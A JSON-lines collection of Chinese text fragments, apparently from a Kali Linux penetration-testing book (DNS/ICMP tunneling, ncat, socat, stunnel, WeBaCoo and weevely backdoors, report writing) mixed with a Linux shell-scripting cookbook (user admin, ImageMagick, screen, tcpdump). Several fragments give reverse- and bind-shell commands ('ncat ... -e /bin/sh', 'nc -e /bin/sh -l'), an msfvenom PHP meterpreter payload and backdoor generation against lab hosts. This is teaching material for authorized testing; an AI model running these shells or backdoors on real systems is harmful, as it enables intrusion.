    {"text": "在使用 dns2tcp 之前，需要创建一个指向公网 dns2tcp 服务器 IP 的 NS 记录。 建议为dns2tcp的程序分配子域名的DNS记录，例如dnstimnel.myexample.com。 之后就要配置 dns2tcp 服务器。 默认情况下，dns2tcp 服务器端程序会在当前用户的主目录下寻找文件.dns2tcprcd，将之用作配置文件。 我们使用以下内容创建一个标准的dns2tcp服务器端配置文件。 listen = 0.0.0.0 port = 53 user = nobody chroot = /tmp domain = dnstunnel.example.com resources = ssh:127.0.0.1:22 然后把这个文件保存为/etc/dns2tcpd.conf。 创建好配置文件之后，可通过下述指令启动dns2tcp的服务器端程序。 # dns2tcpd -F -d 1 -f /etc/dns2tcpd.conf 上述指令将dns2tcpd 的调试级别设置为1(-d 1)，并令其在前台运行(-F)。 dns2tcp的客户端程序同样需要进行配置。"},
    {"text": "domain = dnstunnel.example.com ressource = ssh local_port = 2222 debug_level =1 将这个配置文件保存为/etc/dns2tcpc.conf，或保存为文件.dns2tcprc。"},
    {"text": "# dns2tcpc –z dnstunnel.example.com -c -f /etc/dns2tcpc.conf 而且要用下述命令开启SSH会话。 # ssh -p 2222 yourname@127.0.0.1 dns2tcp程序能够以DNS协议封装数据包，但是它的隧道并不具备加密功能。"},
    {"text": "dns IN A 192.168.200.1 tunnel IN NS dns.example.com. 上述两行的作用是： ● 添加一个名为dns 的A 记录； ● 名为dns.example.com 的DNS 服务器负责解析tunnel 子域。"},
    {"text": "可以在客户端主机上使用以下指令。 ping 192.168.200.1 可以在服务器端主机上使用以下指令。 ping 192.168.200.2 您可能需要实际情况调整指令中的IP地址。"},
    {"text": "11.2.3 ncat ncat 是一款集发送、接收、转发、加密数据等多种功能于一身的网络工具。 ncat 是著名的Netcat程序（http://nmap.org/ncat/guide/index.html）的改进版本，它的功能有： ● 它可用作Web 服务程序和其他TCP/IP 服务器端程序的简易TCP/UDP/SCTP/ SSL客户端；"},
    {"text": "我们首先要在攻击人员的主机上配置ncat程序，让它监听1337端口。 ncat -l 1337 接下来，我们在被测主机上执行下述指令。 ncat 192.168.2.21 1337 –e /bin/sh 执行完这个指令之后，我们就可在攻击人员的测试主机上看到图11.15的信息。"},
    {"text": "如果需要加密网络数据，就应当使用cryptcat程序。 在使用cryptcat时，务必要在通信的两端使用-k选项设置加密密码，否则它将使用默认密码进行加密。"},
    {"text": "如需使用其他代理服务器，可在配置文件的最后部分声明需要添加的代理服务器。 本例所使用的配置文件，其最后的代理服务器声明部分的内容如下所示。 [ProxyList] # add proxy here ... # meanwile # defaults set to \"tor\" socks4 127.0.0.1 9050 声明代理服务器的格式如下所示。"},
    {"text": "需要配合代理服务器才能在客户端使用ptunnel程序。 而且客户端程序所在的主机必须能够访问服务器端的主机。 另外，如果要在Internet上架设ptunnel服务器端程序，那么服务器端主机必须使用公网可以直接访问到的IP地址。 在此之后，可通过下述指令启动ptunnel的服务器端程序。"},
    {"text": "[inf]: Starting ptunnel v 0.71. [inf]: (c) 2004-2009 Daniel Stoedle, <daniels@cs.uit.no> [inf]: Security features by Sebastien Raveau, <sebastien.raveau @epita.fr> [inf]: Forwarding incoming ping packets over TCP. [inf]: Ping proxy is listening in privileged mode. 本例中，客户端要把本机的 2222 端口的通信经由 ptunnel 服务器端（ ptunnel. example.com）转发到ssh服务器（ssh.example.org）的22端口。"},
    {"text": "[inf]: Starting ptunnel v 0.71. [inf]: (c) 2004-2009 Daniel Stoedle, <daniels@cs.uit.no> [inf]: Security features by Sebastien Raveau, <sebastien.raveau@ epita.fr> [inf]: Relaying packets from incoming TCP streams. 然后，让SSH连接到ptunnel程序形成的隧道。"},
    {"text": "● 数据传输阶段：在第三阶段，socat 程序通过 select()函数监控两个数据通道的“读写”文件描述符。 当数据源地址可读且目标地址可写时，socat会读取源数据，并在必要的时候进行换行符的转换，把源数据写到另外一个数据流里的目标文件描述符里，之后周而复始。"},
    {"text": "HTTP/1.1 200 OK Date: Wed, 25 Dec 2013 15:27:19 GMT Server: Apache/2.2.8 (Ubuntu) DAV/2 X-Powered-By: PHP/5.2.4-2ubuntu5.10 Connection: close Content-Type: text/html 2．传输文件 要从主机192.168.2.23向主机192.168.2.23发送文件，需要以下几步。"},
    {"text": "cat php-meter.php | socat – TCP4:192.168.2.23:12345 3．在接收端，我们可以通过ls指令看到socat程序创建了有关文件。 -rw-r--r-- 1 msfadmin msfadmin 1315 2013-12-25 10:34 php-meter. php 上述信息表明，文件传输成功，接收端成功地创建了有关文件。"},
    {"text": "<IfModule mod_ssl.c> Listen 443 </IfModule> 把它修改为： <IfModule mod_ssl.c> Listen 127.0.0.1:443 </IfModule> 接下来配置sslh。"},
    {"text": "ssh -p 443 root@192.168.2.22 上述指令的运行结果如图11.18所示。 图11.18 上述信息表明，我们能够通过443 端口连接到Kali Linux 主机的SSH 服务。"},
    {"text": "11.2.8 stunnel4 stunnel4 可以使用 SSL 技术对客户端和服务器端之间的 TCP 会话进行加密传输。 stunnel4可以为本身无法进行TLS或SSL通信的客户端及服务器程序提供安全的加密连接，而不必修改这些程序的源代码。"},
    {"text": "# openssl req -new –days 365 -nodes -x509 -out /etc/stunnel/ stunnel.pem -keyout /etc/stunnel/stunnel.pem 2．依照程序的提示，依次设置国别、省份、通用名和E-mail地址的信息。"},
    {"text": "4．调整stunnel4的配置文件，使其在3307端口上提供安全连接，并将解密后的数据包转发给本机真正的 MySQL 服务器端程序，即将下述配置信息保存为配置文件/etc/stunnel/stunnel.conf。 cert = /etc/stunnel/stunnel.pem setuid = stunnel4 setgid = stunnel4 pid = /var/run/stunnel4/stunnel4.pid [mysqls] accept = 0.0.0.0:3307 connect = localhost:3306 5．修改文件/etc/default/stunnel4，使其可以自动启动。 ENABLED=1 6．启动stunnel4服务。 #/etc/init.d/stunnel4 start Starting SSL tunnels: [Started: /etc/stunnel/stunnel.conf] stunnel. 7．检査stunnel4是否监听了3307端口。"},
    {"text": "client = yes [mysqls] accept = 3306 connect = 192.168.2.21:3307 2．修改文件/etc/default/stunnel4，使其可以自动启动。 ENABLED=1 3．启动stunnel4服务。 #/etc/init.d/stunnel4 start 使用下述指令查看stunnel4服务的运行状态是否正常。"},
    {"text": "图11.21 在网络里进行监听可发现大量信息，收集数据库软件名称和软件版本号码、操作系统、数据库的登录用户名和密码，以及数据库里的库名等敏感信息。"},
    {"text": "在本节的演示过程中，各主机和IP地址的对应关系如下： ● 攻击人员的主机使用的IP 是192.168.2.22； ● 目标主机的IP 地址是192.168.2.23。"},
    {"text": "如果要用默认的设置，生成名为test.php的PHP后门程序，并使用WeBaCoo的代码混淆技术对后门进行处理，那么可以使用下述指令。 # webacoo -g -o test.php 上述指令的运行结果如下。 WeBaCoo 0.2.3 - Web Backdoor Cookie Script-Kit Copyright (C) 2011-2012 Anestis Bechtsoudis {@anestisb | anestis@bechtsoudis.com | http(s)://bechtsou dis .com } [+] Backdoor file \"test.php\" created. 文件test.php的内容如图11.22所示。"},
    {"text": "图11.28 例如，我们可以使用下述指令扫描被测主机的22端口。 msfadmin@:/var/www $ :net.scan 192.168.2.23 22 SCAN 192.168.2.23:22-22 OPEN: 192.168.2.23:22 也可以用被测主机扫描自身的80端口。"},
    {"text": "msfadmin@:/var/www $ :net.scan 192.168.2.23 80 SCAN 192.168.2.23:80-80 OPEN: 192.168.2.23:80 您可随时使用组合键Ctrl+C 退出weevely shell。"},
    {"text": "msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.2.23 -f raw > php-meter.php 上述指令各选项的作用如下。 ● -p：指定payload 为php/meterpreter/reverse_tcp。"},
    {"text": "要验证漏洞存在被攻击的可能性，本质上说就必须对大量的漏洞进行验证。 验证漏洞是减少出错的必要手段，更是关系到信誉和诚实形象的重要工作。"},
    {"text": "例如，在使用Nmap程序进行端口扫描时，测试人员应当确定笔记模板中的内容涵盖了所有必要的信息，至少包括：使用目的、目标主机、指令选项、相关简介（例如服务监测、操作系统类型、MAC 地址、开放端口、设备类型等内容），并记录下相关程序的输出结果。"},
    {"text": "12.2 报告的种类 在验证过测试结果的全部细节之后，测试人员要把这些信息条理分明地组合成结构清晰的书面报告，最后还要把报告交付给利益相关者。"},
    {"text": "● 风险矩阵：对以识别出的漏洞进行量化分析和分类总结，推断可能会受风险影响的相关资源，以便于记忆的方式列举出此次任务的发现、参考文献和改进建议。"},
    {"text": "测试人员在安全评估报告中提及的建议和推荐，应当与整个工作中地变化情况保持一致，以最大程度的减少意外事件给评估服务带来的负面影响。"},
    {"text": "以系统安全的角度来看，每当某个变更可能影响目标环境（硬件、软件、物理属性和其他问题）的时候，有关人员就应当随后进行相应的配置管理。"},
    {"text": "即，测试人员要和被测单位探讨评估时涉及合规化要求、评估采用的标准框架，确定特定测试的实际限制，判断改进建议是否对目标系统切实可行，了解配置变更对当前系统状态的影响等。"},
    {"text": "有些情况下，技术报告也要包含前两种报告中的项目目标、漏洞及其风险等级、风险矩阵、漏洞统计、测试方法和假设与局限性内容。 不过，技术报告的至少要涵盖以下内容。 ● 安全问题：技术报告应当详细描述在渗透过程中发现的安全问题和针对这些漏洞的攻击方法。"},
    {"text": "它应该使用列表详尽描述受影响的资源范围、攻击后果、测试时的请求和响应数据、模拟攻击所使用的请求和响应数据、向改善团队提供外部的参考文献、列举出可帮助被评估单位解决相关漏洞的针对性的专业建议。"},
    {"text": "● 利用程序映射：技术报告应当列举出测试人员核对并验证过的漏洞利用程序（exploit），并且要指明有关的漏洞利用程序是在网络里可以找到的公开程序，还是不公开的自测程序。"},
    {"text": "● 法律声明（Legal notice） ● 渗透测试协议（Penetration testing agreement） ● 简介（Introduction） ● 项目目标（Project objective） ● 假定和限制（Assumptions and imitations） ● 漏洞的影响（Vulnerability risk scale） ● 执行摘要（Executive summary） ● 风险矩阵（Risk matrix） ● 测试方法（Testing methodology） ● 安全威胁（Security threats） ● 改进建议（Recommendations） ● 漏洞映射（Vulnerabilities map） ● 利用方法（Exploits map） ● 合规性评估（Compliance assessment） ● 变更管理（Change management） ● 最佳实践（Best Practices） ● 附录（Annexes） 换而言之，报告撰写人员要使用明确的行文结构，把各种类型的报告中的所有信息整理为一份单独的完整报告。"},
    {"text": "例如，附录章节可在不同小节里分别列举技术细节、分析测试过程、操作日志、各种安全工具的原始数据、研究的详情、网络资源的引用以及术语表。"},
    {"text": "12.4 准备演示的资料 在现场演示之前，演示人员应当实现了解听众的技术水平和关注要点。 一次成功的现场演示，离不开针对听众的需求精心准备。"},
    {"text": "例如，行政级别的经理可能没有心思关注社会工程学攻击问题，但是他们可能需要理解安全的现状，想指导采用什么措施可以改善系统的安全性。"},
    {"text": "一次成功的现场演示应当以事实和现象为依据，由技术论证得出相应结论，并要给甲方负责改进的团队提供相应的意见。 演示是一种面对面的交流活动，演讲人员应当事先准备好支持论点的事实和数据。"},
    {"text": "● 在有必要部署第三方解决方案（IDS/IPS、防火墙、内容保护系统、杀毒软件、IAM技术等）的时候，应当验证这些方案的有效性和可靠性，还要对软件运行机制进行安全和效率方面的优化。"},
    {"text": "recon-ng > load recon/hosts/gather/http/web/bing_site recon-ng [bing_site] > set domain example.com DOMAIN => example.com recon-ng [bing_site] > run [*] URL: http://www.bing.com/search?first=0＆q=site%3A example.com [*] www.example.com [*] leb.example.com [*] sos.example.com [*] forms.example.com [*] bankrobbers.example.com [*] vault.example.com [*] tips.example.com [*] delivery.example.com [*] omaha.example.com [*] chicago.example.com [*] foia.example.com [*] 11 total hosts found. [*] 11 NEW hosts found! 然后，我们通过show hosts 指令查询前一个指令的搜索结果。"},
    {"text": "本节将要介绍Rapid7 出品的NeXpose 漏洞扫描程序（共享版）。 A.2.1 NeXpose共享版 Rapid7 推出的NeXpose Vulnerability Scanner Community Edition（NeXposeCE）是一款免费的漏洞扫描程序。"},
    {"text": "在初步了解了NeXpose共享版的情况之后，我们接下来安装这个程序。 1．安装NeXpose 在Kali Linux 种安装NeXpose 共享版的具体步骤如下。 1．访问网址 http:∥www.rapid7.com/products/nexpose/nexposecommunity. jsp 并下载安装程序。"},
    {"text": "1．使用下述指令进入文件nexposeconsole.rc的所在目录。 # cd [installation_directory]/nsc 2．打开这个文件，并确定NXP_ROOT变量已经设置为NeXpose的安装目录。 3．把文件nexposeconsole.rc复制到目录/etc/init.d，并将它重命名。 本例通过下述指令把它重命名为nexpose。 # cp [installation_directory]/nsc/nexposeconsole.rc /etc/init.d/nexpose 4．通过下述指令设置启动脚本的文件权限。 # chmod +x /etc/init.d/nexpose 5．并让守护进程伴随系统启动。 # update-rc.d nexpose defaults 6．可以通过下述指令控制NeXpose守护进程的启动、终止和重启。 # /etc/init.d/nexpose <start|stop|restart> 3．登录NeXpose 如欲登录到NeXpose共享版控制台的Web界面，就得遵循以下操作步骤。"},
    {"text": "arachni http://192.168.2.22/dvwa/ --report=html: outfile=./192-168-2-22-dvwa.html 扫描报告将会保存在目录/usr/share/arachni/bin/中。"},
    {"text": "这款工具通过扫描某些固定位置的静态文件，把这些文件的哈希值与各版本Web应用程序的那些文件的哈希值进行比对，从而鉴定被测Web应用程序的版本信息。"},
    {"text": "如需显示BlindElephant的帮助文件，可使用以下指令。 BlindElephant.py -h 上述指令将会在屏幕上显示出程序的帮助信息。 如需了解BlindElephant支持的Web应用程序，或者需要列出它所支持的插件，可使用下述指令。"},
    {"text": "Hit http://target/readme.html Possible versions based on result: 3.1.3, 3.1.3-IIS Hit http://target/wp-includes/js/tinymce/tiny_mce.js Possible versions based on result: 3.1.1, 3.1.1-IIS, 3.1.1-RC1, 3.1.1-RC1-IIS, 3.1.2, 3.1.2-IIS, 3.1.3, 3.1.3-IIS, 3.1.4, 3.1.4-IIS ... Possible versions based on result: 3.1, 3.1.1, 3.1.1-IIS, 3.1.1-RC1, 3.1.1-RC1-IIS, 3.1.2, 3.1.2-IIS, 3.1.3, 3.1.3-IIS, 3.1.4, 3.1.4-IIS, 3.1-beta1, 3.1-beta1-IIS, 3.1-beta2, 3.1-beta2-IIS, 3.1-IIS, 3.1-RC1, 3.1-RC2, 3.1-RC2-IIS, 3.1-RC3, 3.1-RC3-IIS, 3.1-RC4, 3.1-RC4-IIS Fingerprinting resulted in: 3.1.3 3.1.3-IIS Best Guess: 3.1.3 BlindElephant 对被测的WordPress 程序的鉴定结果是 3.1.3 版程序。"},
    {"text": "有些人把它叫做TCP/IP协议的瑞士军刀，它的名字就是NetCat（http://netcat.sourceforge.net/）。 A.4.1 netcat netcat是一款借助TCP连接或UDP协议读写数据的工具。"},
    {"text": "HTTP/1.1 200 OK Date: Tue, 08 Oct 2013 14:09:14 GMT Server: Apache/2.2.8 (Ubuntu) DAV/2 X-Powered-By: PHP/5.2.4-2ubuntu5.10 Connection: close Content-Type: text/html 上述信息表明，Web 服务的后台程序是Apache，主机的操作系统是Ubuntu 5.10。"},
    {"text": "3．简易聊天服务器 如果要使用netcat程序在1234端口上运行聊天服务器，可使用下述指令。 # nc -l -p 1234 此后，您就可以使用telnet、netcat或者相似的软件，连接到服务端程序。 $ telnet 192.168.2.22 1234 随后所输入的所有字符，都将显示在服务端的netcat程序里。"},
    {"text": "4．文件传输 如果要传递一个名为thepass的文件，可在接收端运行下述指令。 # nc -l -p 1234 > thepass.out 然后在发送端运行下述指令。 # nc -w3 192.168.2.22 1234 < thepass 从发送端将会把文件 thepass 传输到接收端。 而后，接收端会把文件储存为thepass.out。"},
    {"text": "本例将使用netcat程序扫描被测主机的TCP 1～1000端口，同时指定程序：显示详细信息（-v）、禁止解析DNS名称（-n）、不发送任何数据（-z）、超时设置为1 秒（-w 1）。"},
    {"text": "(UNKNOWN) [192.168.2.22] 514 (shell) open (UNKNOWN) [192.168.2.22] 513 (login) open (UNKNOWN) [192.168.2.22] 512 (exec) open (UNKNOWN) [192.168.2.22] 445 (microsoft-ds) open (UNKNOWN) [192.168.2.22] 139 (netbios-ssn) open (UNKNOWN) [192.168.2.22] 111 (sunrpc) open (UNKNOWN) [192.168.2.22] 80 (http) open (UNKNOWN) [192.168.2.22] 53 (domain) open (UNKNOWN) [192.168.2.22] 25 (smtp) open (UNKNOWN) [192.168.2.22] 23 (telnet) open (UNKNOWN) [192.168.2.22] 22 (ssh) open (UNKNOWN) [192.168.2.22] 21 (ftp) open 可见，主机192.168.2.22开放了多个端口（514、513、512、445、139、111、80、53、25、23、22、21）。"},
    {"text": "如果要在1234号端口上打开/bin/sh的shell，可使用下述指令。 # nc -e /bin/sh -l -p 1234 此后，我们在客户端上使用telnet或相似的客户端程序连接到服务端后门。"},
    {"text": "uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video), 46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) 接下来，我们通过下述指令查看服务端当前目录的所有文件。"},
    {"text": "total 9276 drwxr-xr-x 10 msfadmin msfadmin 4096 2013-09-16 18:40 . drwxr-xr-x 6 root root 4096 2010-04-16 02:16 .. lrwxrwxrwx 1 root root 9 2012-05-14 00:26 .bash_ history -> /dev/null drwxr-xr-x 3 msfadmin msfadmin 4096 2013-09-08 03:55 cymothoa 1-beta -rw-r--r-- 1 msfadmin msfadmin 18177 2013-09-08 03:36 cymothoa 1-beta.tar.gz drwxr-xr-x 4 msfadmin msfadmin 4096 2010-04-17 14:11 .distcc -rw-r--r-- 1 msfadmin msfadmin 1669 2013-08-27 10:11 etc-passwd -rw-r--r-- 1 msfadmin msfadmin 1255 2013-08-27 10:11 etc-shadow drwxr-xr-x 5 msfadmin msfadmin 4096 2013-06-12 01:23 .fluxbox drwx------ 2 msfadmin msfadmin 4096 2013-09-14 08:25 .gconf drwx------ 2 msfadmin msfadmin 4096 2013-09-14 08:26 .gconfd -rw------- 1 root root 26 2013-09-14 08:57 .nano_his tory -rwxr-xr-x 1 msfadmin msfadmin 474740 2013-09-14 09:38 ncat drwxr-xr-x 21 msfadmin msfadmin 4096 2013-09-14 09:31 nmap-6.40 -rw-r--r-- 1 msfadmin msfadmin 586 2010-03-16 19:12 .profile ls 指令的运行结果会回显在客户端的屏幕上。"},
    {"text": "1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: eth0:<BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_ fast qlen 1000 link/ether 08:00:27:43:15:18 brd ff:ff:ff:ff:ff:ff inet 192.168.2.22/24 brd 192.168.2.255 scope global eth0 inet6 fe80::a00:27ff:fe43:1518/64 scope link valid_lft forever preferred_lft forever 在客户端程序里，可执行远程主机支持的所有指令。"},
    {"text": "index 输出如下： # ./user_adm.sh -details test Login: test Name: Directory: /home/test Shell: /bin/sh Last login Tue Dec 21 00:07 (IST) on pts/1 from localhost No mail. No Plan. 10.12 用户管理脚本 335 Last password change : Dec 20, 2010 1 Password expires : never Password inactive : never Account expires : Oct 10, 2010 Minimum number of days between password change : 0 Maximum number of days between password change : 99999 2 Number of days of warning before password expires : 7 10.12.2 工作原理 3 脚本user_adm.sh可以用来执行多种常见的用户管理任务。"},
    {"text": "脚本user_adm.sh有效的命令选项是：-adduser、-deluser、-shell、-disable、-enable、 5 -expriy、-passwd、-newgroup、-delgroup、-addgroup、-details和-usage。"},
    {"text": "chage -E DATE 14 336 第 10 章 管理重任 其他选项包括： -m MIN_DAYS（将更改密码的最小天数修改成MIN_DAYS） ； -M MAX_DAYS（设置密码有效的最大天数） ； -W -WARN_DAYS（设置在前几天提醒需要更改密码） 。"},
    {"text": " -newgroup和-addgroup：使用addgroup命令为系统添加一个新的用户组。 addgroup GROUP 如果加上一个用户名，会将该用户添加到组中： addgroup USER GROUP  -delgroup：使用delgroup命令删除一个用户组。"},
    {"text": "10.13.2 实战演练 转换图像格式： $ convert INPUT_FILE OUTPUT_FILE 10.13 图像文件的批量缩放及格式转换 337 例如： 1 $ convert file1.jpg file2.png 我们可以通过指定缩放比或输出图像的宽度（WIDTH）和高度（HEIGHT）来调整图像： 2 $ convert imageOrig.png -resize WIDTHxHEIGHT imageResized.png 例如： 3 $ convert photo.png -resize 1024x768 wallpaper.png 如果没有提供WIDTH或HEIGHT，那么会在保留图像比例前提下自动计算缺失的数值： 4 $ convert image.png -resize WIDTHx image.png 例如： 5 $ convert image.png -resize 1024x image.png 指定百分比缩放图像： $ convert image.png -resize \"50%\" image.png 6 下面的脚本会对指定目录下的所有图片执行一系列操作： #!/bin/bash 7 #文件名：image_help.sh #用途:图像管理脚本 if [ $# -ne 4 -a $# -ne 6 -a $# -ne 8 ]; 8 then echo Incorrect number of arguments exit 2 fi 9 while [ $# -ne 0 ]; do case $1 in 10 -source) shift; source_dir=$1 ; shift ;; -scale) shift; scale=$1 ; shift ;; -percent) shift; percent=$1 ; shift ;; -dest) shift ; dest_dir=$1 ; shift ;; 11 -ext) shift ; ext=$1 ; shift ;; *) echo Wrong parameters; exit 2 ;; esac; done 12 for img in ècho $source_dir/*` ; do source_file=$img 14 338 第 10 章 管理重任 if [[ -n $ext ]]; then dest_file=${img%.*}.$ext else dest_file=$img fi if [[ -n $dest_dir ]]; then dest_file=${dest_file##*/} dest_file=\"$dest_dir/$dest_file\" fi if [[ -n $scale ]]; then PARAM=\"-resize $scale\" elif [[ -n $percent ]]; then PARAM=\"-resize $percent%\" fi echo Processing file : $source_file convert $source_file $PARAM $dest_file done 将目录sample_dir中的图片调整到原来的20%： $ ./image_help.sh -source sample_dir -percent 20% Processing file :sample/IMG_4455.JPG Processing file :sample/IMG_4456.JPG Processing file :sample/IMG_4457.JPG Processing file :sample/IMG_4458.JPG 将图像宽度调整到1024像素： $ ./image_help.sh -source sample_dir -scale 1024x 将文件缩放或转换到指定的目录： # newdir 作为目的目录 $ ./image_help.sh -source sample -scale 50% -ext png -dest newdir 10.13.3 工作原理 脚本image_help.sh可以接受以下参数。"},
    {"text": "shift命令每执行一次，就将命令行参数向左移动一个位置，这样我们 3 就不需要再使用$1、$2、$3…，一个$1就足够访问到所有的命令行参数了。"},
    {"text": "移动十字光标到某个X窗口上并点击鼠标，就可以对 这个窗口截图了： $ xwd >step1.xwd ImageMagick中的import命令支持更多的截图选项。 (1) 截取整个屏幕： $ import -window root screenshot.png (2) 手动截取部分区域： $ import screenshot.png (3) 截取特定窗口： $ import -window window_id screenshot.png 命令xwininfo会返回窗口ID（window_id）。 执行该命令，点击你想要截取的窗口，然后 将得到的window_id传递给import命令的-window选项。"},
    {"text": "10.15 集中管理多个终端 对于那些需要长期运行的应用，SSH会话、Konsole以及xterms都属于重量级的解决方案，但 是它们并不经常进行检查（例如监视日志文件或磁盘使用情况）。"},
    {"text": "如果你使用的发行版中默认没有安装该 工具，请使用软件包管理器自行安装： apt-get install screen 10.15 集中管理多个终端 341 10.15.2 实战演练 1 (1) 只要screen创建了一个新窗口，除了Ctrl-A（表示要开始一个screen命令），所有的击 键操作都会进入到运行在该窗口中的任务。 2 (2) 创建新的screen窗口：从shell中运行screen命令就可以创建一个新的屏幕。"},
    {"text": "要再创建另 一个新的虚拟终端，按下Ctrl+A，然后再按下C（区分大小写）或是重新输入screen。 3 (3) 查看已打开的窗口列表：在运行screen时，按下Ctrl+A，然后再按下 \" ，就可以列出终端 会话。"},
    {"text": "使用Ctrl+A和Ctrl+D可以脱离当前screen 5 会话。 要附着到一个已有的screen会话，可以使用： screen –r –d 6 (6) screen –r –d命令可以附着到上一个screen会话。 如果已脱离的会话不止一个，screen 会输出会话列表，然后可以使用下面的命令： screen –r –d PID 7 其中，PID是你想附着到的screen会话的PID。"},
    {"text": "8 9 10 11 12 14 342 第 11 章 觅迹寻踪 第 11 章 觅迹寻踪 本章内容  使用tcpdump跟踪分组  使用strace跟踪系统调用  使用ngrep查找分组  使用ltrace跟踪动态库函数  使用ip跟踪网络路由 11.1 简介 凡事皆有痕迹。"},
    {"text": "可以使用包管 理器自行安装： $ sudo apt-get install tcpdump $ sudo yum install libpcaptcpdump 11.2 使用 tcpdump 跟踪分组 343 11.2.2 实战演练 1 tcpdump是Wireshark以及其他网络嗅探程序的前端，其GUI界面支持大量的选项，我们很快 就会讲到。"},
    {"text": "9 $ tcpdump 22:00:25.269277 IP 192.168.1.40.49182 > 192.168.1.2.microsoft-ds: Flags [P.], seq 3265172834:3265172954, ack 850195805, win 257, length 120SMB PACKET: SMBtrans2 (REQUEST) 10 22:00:25.269417 IP 192.168.1.44.33150 > 192.168.1.7.domain: 13394+ PTR? 2.1.168.192.in-addr.arpa. (42) 11 22:00:25.269917 IP 192.168.1.2.microsoft-ds > 192.168.1.40.49182: Flags —————————— ① 此处叙述并不准确。"},
    {"text": "尽管两者都使用了libcap来抓取网络分组，而且 12 Wireshark可以浏览tcpdump的抓取结果，但它们属于不同的网络嗅探工具，并不是前后端的关系。"},
    {"text": "344 第 11 章 觅迹寻踪 [.], ack 120, win 1298, length 0 22:00:25.269927 IP 192.168.1.2.microsoft-ds > 192.168.1.40.49182: Flags [P.], seq 1:105, ack 120, win 1298, length 104SMB PACKET: SMBtrans2 (REPLY) 如果不想在终端上显示tcpdump的输出，选项-w可以将输出发送到文件中。"},
    {"text": "选项-c可以限制嗅探的分组数： # tcpdump -w /tmp/tcpdump.raw -c 50 tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes 50 packets captured 50 packets received by filter 0 packets dropped by kernel 作为限制，我们在这里只检查单个主机或是单个应用程序的活动。"},
    {"text": "1. 只显示HTTP分组 关键字port可以只显示出发往或来自特定端口的分组： $ tcpdump -r /tmp/tcpdump.raw port http reading from file /tmp/tcpdump.raw, link-type EN10MB (Ethernet) 10:36:50.586005 IP 192.168.1.44.59154 > ord38s04-in-f3.1e100.net.http: Flags [.], ack 3779320903, win 431, options [nop,nop,TSval 2061350532 ecr 3014589802], length 0 10:36:50.586007 IP ord38s04-in-f3.1e100.net.http > 192.168.1.44.59152: Flags [.], ack 1, win 350, options [nop,nop,TSval 3010640112 ecr 2061270277], length 0 2. 只显示本机生成的HTTP分组 如果你打算跟踪所使用的Web流量，只需要查看本机生成的HTTP分组就可以了。"},
    {"text": "dst修饰符可以指定目的地址： $ tcpdump -r /tmp/tcpdump.rawsrc port http reading from file /tmp/tcpdump.raw, link-type EN10MB (Ethernet) 10:36:50.586007 IP ord38s04-in-f3.1e100.net.http > 192.168.1.44.59152: Flags [.], ack 1, win 350, options [nop,nop,TSval 3010640112 ecr 2061270277], length 0 10:36:50.586035 IP ord38s04-in-f3.1e100.net.http > 192.168.1.44.59150: 11.2 使用 tcpdump 跟踪分组 345 Flags [.], ack 1, win 350, options [nop,nop,TSval 3010385005 ecr 1 2061270277], length 0 3. 查看分组载荷（payload）以及头部 2 如果你想追查在网络中滥发分组的主机，只需要查看分组头部就行了。"},
    {"text": "下面的例子展示了一个GET请求以及服务器的回复： $ tcpdump -X -r /tmp/tcpdump.raw host noucorp.com and port http reading from file /tmp/tcpdump.raw, link-type EN10MB (Ethernet) 5 11:12:04.708905 IP 192.168.1.44.35652 >noucorp.com.http: Flags [P.], seq 2939551893:2939552200, ack 1031497919, win 501, options [nop,nop,TSval 2063464654 ecr 28236429], length 307 0x0000: 4500 0167 1e54 4000 4006 70a5 c0a8 012c E..g.T@.@.p...., 6 0x0010: 98a0 5023 8b44 0050 af36 0095 3d7b 68bf ..P#.D.P.6..={h. 0x0020: 8018 01f5 abf1 0000 0101 080a 7afd f8ce ............z... 0x0030: 01ae da8d 4745 5420 2f20 4854 5450 2f31 ....GET./.HTTP/1 0x0040: 2e31 0d0a 486f 7374 3a20 6e6f 7563 6f72 .1..Host:.noucor 7 0x0050: 702e 636f 6d0d 0a55 7365 722d 4167 656e p.com..User-Agen 0x0060: 743a 204d 6f7a 696c 6c61 2f35 2e30 2028 t:.Mozilla/5.0.( 0x0070: 5831 313b 204c 696e 7578 2078 3836 5f36 X11;.Linux.x86_6 0x0080: 343b 2072 763a 3435 2e30 2920 4765 636b 4;.rv:45.0).Geck 0x0090: 6f2f 3230 3130 3031 3031 2046 6972 6566 o/20100101.Firef 8 0x00a0: 6f78 2f34 352e 300d 0a41 6363 6570 743a ox/45.0..Accept: ... 11:12:04.731343 IP noucorp.com.http> 192.168.1.44.35652: Flags [.], seq 1:1449, ack 307, win 79, options [nop,nop,TSval 28241838 ecr 2063464654], 9 length 1448 0x0000: 4500 05dc 0491 4000 4006 85f3 98a0 5023 E.....@.@.....P# 0x0010: c0a8 012c 0050 8b44 3d7b 68bf af36 01c8 ...,.P.D={h..6.. 0x0020: 8010 004f a7b4 0000 0101 080a 01ae efae ...O............ 10 0x0030: 7afd f8ce 4854 5450 2f31 2e31 2032 3030 z...HTTP/1.1.200 0x0040: 2044 6174 6120 666f 6c6c 6f77 730d 0a44 .Data.follows..D 0x0050: 6174 653a 2054 6875 2c20 3039 2046 6562 ate:.Thu,.09.Feb 0x0060: 2032 3031 3720 3136 3a31 323a 3034 2047 .2017.16:12:04.G 11 0x0070: 4d54 0d0a 5365 7276 6572 3a20 5463 6c2d MT..Server:.Tcl-0x0080: 5765 6273 6572 7665 722f 332e 352e 3220 Webserver/3.5.2. 11.2.3 工作原理 12 tcpdump能够将网卡设为混杂模式，使得网卡能够接收到网络上所有的分组。"},
    {"text": "举例来说，如果在凌晨3点出现了大量网络分组冲突，你可以设置一项cron作业，安排在凌 晨3点的时候运行tcpdump，然后对比检查正常时段的网络分组。"},
    {"text": "可以使用包管理器自行安装： # apt-get installngrep # yum install ngrep 11.3.2 实战演练 ngrep可以接受一个要匹配的模式（例如grep） 、一个分组过滤器（例如tcpdump）以及多 个用于调整命令行为的选项。"},
